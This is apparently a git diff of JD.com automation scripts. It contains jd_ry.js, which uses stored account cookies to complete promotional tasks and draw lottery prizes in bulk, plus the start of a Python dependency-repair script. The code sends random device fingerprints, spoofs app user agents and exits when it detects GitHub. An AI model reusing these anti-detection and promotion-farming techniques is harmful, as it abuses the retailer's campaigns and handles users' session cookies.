} + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_ry.js b/jd_ry.js new file mode 100644 index 0000000..949c6d0 --- /dev/null +++ b/jd_ry.js @@ -0,0 +1,337 @@ +/* +[task_local] +#荣耀抽奖机活动 +40 0 * * * jd_618jk.js, tag=荣耀抽奖机活动, enabled=true + */ +const $ = new Env('荣耀抽奖机活动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = "aa6afd716cda497ab83d3f452443ecf6"; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + console.log('入口下拉:https://prodev.m.jd.com/mall/active/3z1Vesrhx3GCCcBn2HgbFR4Jq68o/index.html') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + //await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 10); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + continue; + } + if (vo.taskName == '每日签到') { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await getinfo2(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 4) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 2) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo2(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getinfo2 API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_scripts_check_dependence.py b/jd_scripts_check_dependence.py new file mode 100644 index 0000000..088e0de --- /dev/null +++ b/jd_scripts_check_dependence.py @@ -0,0 +1,606 @@ +# -*- coding:utf-8 -*- +# 作者仓库:https://jihulab.com/spiritlhl/qinglong_auto_tools.git +# 觉得不错麻烦点个star谢谢 +# 频道:https://t.me/qinglong_auto_tools + + +''' +cron: 1 +new Env('单容器 二叉树修复脚本依赖文件'); +''' + +import os, requests +import os.path +import time + +# from os import popen + +# 版本号 2.10.9 ,其他环境自测 +# 只修复依赖文件(jdCookie.js那种)!!不修复环境依赖(pip install aiohttp)!! +# 默认不做任何操作只查询依赖脚本存在与否,有需求请在配置文件中配置对应变量进行操作,更新不会增加缺失文件 +# 如果你有发现更多的脚本依赖文件没有新增,欢迎提交issues到https://jihulab.com/spiritlhl/dependence_scripts +# 增加缺失依赖文件(推荐) +# export ec_fix_dep="true" +# 更新老旧依赖文件(慎填,默认的依赖我使用的魔改版本,非必要别选) +# export ec_ref_dep="true" + +# 2021.11.27 支持新版本仓库拉取的脚本目录结构,针对各个仓库进行依赖检索 + +txtx = "青龙配置文件中的config中填写下列变量启用对应功能\n\n增加缺失依赖文件(推荐)\n填写export ec_fix_dep=\"true\"\n更新老旧依赖文件(日常使用别填,默认的依赖我使用的魔改版本,非必要别选)\n如果选择使用请使用对应code文件等相关文件:https://jihulab.com/spiritlhl/dependence_config \n填写export ec_ref_dep=\"true\"\n" +print(txtx) + +try: + if os.environ["ec_fix_dep"] == "true": + print("已配置依赖文件缺失修复\n") + fix = 1 + else: + fix = 0 +except: + fix = 0 + print("#默认不修复缺失依赖文件,有需求") + print("#请在配置文件中配置\nexport ec_fix_dep=\"true\" 